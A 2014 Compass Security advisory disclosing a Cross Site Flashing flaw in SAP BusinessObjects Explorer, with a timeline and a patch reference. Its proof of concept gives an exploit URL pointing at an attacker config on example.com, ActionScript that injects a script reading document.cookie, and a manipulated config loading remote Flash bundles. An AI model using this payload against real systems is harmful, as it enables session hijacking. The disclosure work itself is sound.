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COMPASS SECURITY ADVISORY

http://www.csnc.ch/en/downloads/advisories.html

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Product: BusinessObjects Explorer

Vendor: SAP AG

Subject: Cross Site Flashing

Risk: High

Effect: Remotely exploitable

Author: Stefan Horlacher

Date: 2014-10-10

SAP Security Note: 1908647 [0]

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Abstract:

BusinessObjects Explorer is vulnerable against Cross Site Flashing [1]
attacks, allowing an attacker to e.g. steal the victim's session.
This vulnerability requires the victim to click on a malicious link
prepared by the attacker.

Affected:

Vulnerable:
SAP BusinessObjects Explorer version 14.0.5 (build 882)

Not tested:
Other versions of BusinessObjects Explorer

Technical Description:

The Flash file suffers from a Cross Site Flashing vulnerability. It
is possible to directly load and display the
com_businessobjects_polestar_bootstrap.swf Flash file and specify a
configUrl. This requires the victim to be logged and the attacker needs
to know the /webres/ URL, which is known as soon as the attacker is in
possession of valid credentials. The configuration file specified in
the configURL parameter may reside on a foreign host. The
configuration file itself may contain URLs of further Flash files
residing on a foreign domain. If successful, the victim loads foreign
Flash files, which leads to Cross Site Flashing. The example below
loads a Flash file, which injects JavaScript into the DOM of the
originating domain.

URL: /explorer/webres/[CUT BY COMPASS]/com_businessobjects_polestar_bootstrap.swf?configUrl=http://example.com/attacker_flash_config.xml


Code of the injected Flash file referenced in http://example.com/attacker_flash_config.xml
	package
	{
		import flash.display.Sprite;
		import flash.events.Event;
		import flash.external.ExternalInterface;

		public class Main extends Sprite
		{
			public function Main():void
			{
				ExternalInterface.call("document.write",
				"<script>alert(document.cookie)</script>");
			}
		}
	}

Extract of the manipulated configuration file http://example.com/attacker_flash_config.xml:
	<p:configuration xmlns:p="http://www.businessobjects.com/2007/platform"
		p:codebase="plugins/">
	<p:splashLocation p:id="com_businessobjects_polestar_splashscreen"
		p:codebase="http://[CUT BY COMPASS].csnc.ch/[CUT BY COMPASS]/"/>
	<p:bundles>
		<p:bundle p:id="com_businessobjects_polestar_admin" p:codebase="http://example.com/"/>
		<p:bundle p:id="com_businessobjects_polestar_prompts" p:codebase="http://example.com/"/>
		<p:bundle p:id="com_businessobjects_polestar_dataprovider_xl" p:codebase="http://example.com/"/>
		<p:bundle p:id="com_businessobjects_polestar_portal_logoff" p:codebase="http://example.com/"/>
	[CUT BY COMPASS]

Timeline:

2013-06-06: Discovery by Stefan Horlacher
2013-06-26: Initial vendor notification
2013-12-10: Vendor releases patch and SAP Security Note 1908647
2014-10-10: Disclosure of the advisory

References:

[0] https://service.sap.com/sap/support/notes/1908647
[1] https://www.owasp.org/index.php/Category:OWASP_Flash_Security_Project